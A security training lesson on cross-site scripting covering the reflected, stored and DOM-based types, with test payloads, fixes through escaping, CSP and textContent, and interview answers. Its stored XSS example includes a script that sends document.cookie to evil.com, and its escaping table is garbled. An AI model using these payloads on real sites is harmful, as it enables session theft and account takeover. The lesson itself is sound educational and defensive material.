
WEEK 2 – DAY 11

CROSS-SITE SCRIPTING (XSS)

---

1. WHAT IS XSS? (CORE IDEA)

Simple Definition

XSS occurs when an application **allows untrusted user input to be executed as JavaScript in another user's browser**.

Key point:

- XSS is a **client-side attack**
- Server is used as a **delivery mechanism**

---

2. WHY XSS IS DANGEROUS

An attacker can:

- Steal cookies / session tokens
- Perform actions as the victim
- Deface websites
- Redirect users
- Inject keyloggers or malware

XSS **breaks user trust** and often leads to **account takeover**.

---

3. HOW XSS ACTUALLY WORKS (MENTAL MODEL)

1. Application accepts user input
2. Input is stored or reflected
3. Browser executes it as JavaScript
4. Attacker's code runs **with victim's privileges**

---

4. TYPES OF XSS

A. REFLECTED XSS

What Is It?

Malicious script is reflected immediately in the HTTP response.

Vulnerable Example

URL:

https://example.com/search?q=<script>alert(1)</script>

Server response:

Results for <script>alert(1)</script>

Browser executes the script.

Real-World Impact

- Phishing links
- One-click attacks
- Often combined with social engineering

B. STORED XSS

What Is It?

Malicious script is **stored in the database** and served to all users.

Vulnerable Example

Comment system:

{{ comment }}

Attacker submits:

<script>fetch('https://evil.com?c='+document.cookie)</script>

Every viewer executes it.

Why Stored XSS Is Severe

- Persistent
- Affects many users
- High business impact

C. DOM-BASED XSS

What Is It?

Injection happens **entirely in client-side JavaScript**.

Vulnerable JavaScript

```
document.getElementById("output").innerHTML = location.hash;
```

URL:

```
#<img src=x onerror=alert(1)>
```

Why It's Dangerous

- Server never sees payload
- Harder to detect
- Bypasses some filters

---

5. HANDS-ON: INJECTING XSS

Common Test Payloads

```
<script>alert(1)</script>
```

```
<img src=x onerror=alert(1)>
```

```
"><svg onload=alert(1)>
```

Where to Test

- Search boxes
- Comments
- Profile fields
- URL parameters

---

6. FIXING XSS (MOST IMPORTANT PART)

A. OUTPUT ESCAPING (PRIMARY DEFENSE)

What Is Escaping?

Converting special characters into safe representations.

Character	Escaped
<	<
>	>
"	"

Secure Template Example (Flask / Jinja)

{{ comment | e }}

Jinja escapes by default unless marked safe.

NEVER DO THIS

{{ comment | safe }}

B. CONTENT SECURITY POLICY (CSP)

What Is CSP?

A browser security policy that **restricts what scripts can run**.

Example CSP Header

Content-Security-Policy:

default-src 'self';

script-src 'self';

object-src 'none';

Effect:

- Blocks inline scripts
- Blocks external scripts

Why CSP Is Powerful

- Reduces impact even if XSS exists
- Defense-in-depth mechanism

C. SAFE DOM MANIPULATION

BAD

element.innerHTML = userInput;

GOOD

element.textContent = userInput;

---

7. INTERVIEW QUESTIONS & STRONG ANSWERS

Q1: What is XSS?

“XSS is a vulnerability where attacker-controlled input is executed as JavaScript in a victim’s browser.”

Q2: Difference between Stored and Reflected XSS?

“Stored XSS persists on the server, while reflected XSS is immediately returned in the response.”

Q3: Why is DOM-based XSS dangerous?

“Because the server never sees the payload, making it harder to detect.”

Q4: Is escaping enough?

“Escaping is the primary defense, but CSP adds strong defense-in-depth.”

---

8. ATTACKER VS DEFENDER THINKING

Attacker:

- Where does input appear in HTML?
- Can I break context?
- Can I bypass filters?

Defender:

- Is output escaped?
- Is CSP enabled?
- Is unsafe DOM manipulation used?
